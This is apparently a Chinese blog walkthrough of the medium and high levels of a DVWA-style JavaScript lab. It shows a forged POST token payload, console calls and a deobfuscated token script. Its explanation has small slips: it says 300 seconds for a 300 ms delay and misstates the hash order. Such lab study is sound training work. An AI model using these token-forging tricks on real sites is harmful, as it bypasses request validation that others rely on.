那么这里的token就很简单了,我们构建payload:

1
token=XXsseccusXX&phrase=success&send=Submit

POST到网页中:

这里还有另一种方法,我们输入success,接着在控制台执行调用do_elsesomething("XX"),也可以成功注入:

high

查看high.js发现被混淆了,我们进行解码:
Deobfuscate Javascript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

看的头都大了,结合wp我们来慢慢分析。

首先document.getElementById("phrase").value = ""将phrase的值置空,接着延迟300ms后执行token_part_2("XX"),接着当按下按钮后执行token_part_3,最后执行token_part_1。因此读懂运行逻辑后,我们就可以进行逻辑分析了。

  • 首先执行token_part_1("ABCD", 44)函数,这个函数调用do_something(e)函数将phrase倒序并复制给token
  • 接着延迟300秒后,执行token_part_2("XX")函数,生成(XX+phrase)的sha256值并复制给token
  • 在点击按钮触发click事件后,执行token_part_3函数,生成(ZZ+上一步中的token)的sha256值复制给token,生成最后我们所看到的token。

分析结束了,那么我们发现问题出在phrase置空上,那么我们可以编辑success,提前调用token_part_1("ABCD", 44)token_part_2("XX"),最后点击submit以绕过对phrase的置空:

总结

这个靶场涉及的知识点还是很多的,从CSRF,到XSS,再到JS,反正理论是学了不少,不过理论还是得转化为实战能力,否则就是纸上谈兵了。